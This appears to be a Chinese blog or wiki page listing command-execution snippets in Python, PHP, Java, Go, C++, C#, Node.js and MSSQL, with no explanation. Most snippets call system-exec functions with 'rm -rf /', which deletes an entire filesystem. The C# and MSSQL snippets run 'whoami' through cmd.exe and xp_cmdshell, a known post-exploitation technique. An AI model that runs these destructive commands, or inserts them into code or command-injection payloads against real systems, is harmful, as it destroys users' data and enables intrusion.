bash
python
1 2 3
| import os
os.system('rm -rf /')
|
php
1 2 3
| <?php system("rm -rf /"); ?>
|
java
1 2 3 4 5
| public class Main { public static void main(String[] args) throws Exception{ Runtime.getRuntime().exec("rm -rf /"); } }
|
go
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package main
import ( "fmt" "os/exec" )
func main(){ command := exec.Command("rm -rf /") err := command.Run() if err != nil{ fmt.Println(err.Error()) } }
|
c++
1 2 3 4 5 6
| #include <cstdlib> int main() { system("rm -rf /"); return 0; }
|
c#
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| using System; using System.Diagnostics;
namespace ConsoleApp1 { class Cmd { private static string CmdPath = @"C:\Windows\System32\cmd.exe";
public static string RunCmd(string cmd) { cmd = cmd.Trim().TrimEnd('&') + "&exit"; using (Process p = new Process()) { p.StartInfo.FileName = CmdPath; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.CreateNoWindow = true; p.Start();
p.StandardInput.WriteLine(cmd); p.StandardInput.AutoFlush = true;
string output = p.StandardOutput.ReadToEnd(); p.WaitForExit(); p.Close();
return output; } } static void Main(string[] args) { string put = Cmd.RunCmd("whoami"); Console.WriteLine(put); } } }
|
mssql
1 2
| exec master..xp_cmdshell "whoami"; select 666;
|
nodejs
1 2 3 4 5 6
| var process = require('child_process'); process.exec('rm -rf /', function (error, stdout, stderr) { if (error !== null) { console.log('exec error: ' + error); } });
|
版权声明:本文为「匿名用户」的原创文章,博客内容遵循 署名-非商业性使用-相同方式共享 协议。
本文永久链接是:https://demo.wujiaxing.com/prowiki/e376fb25.html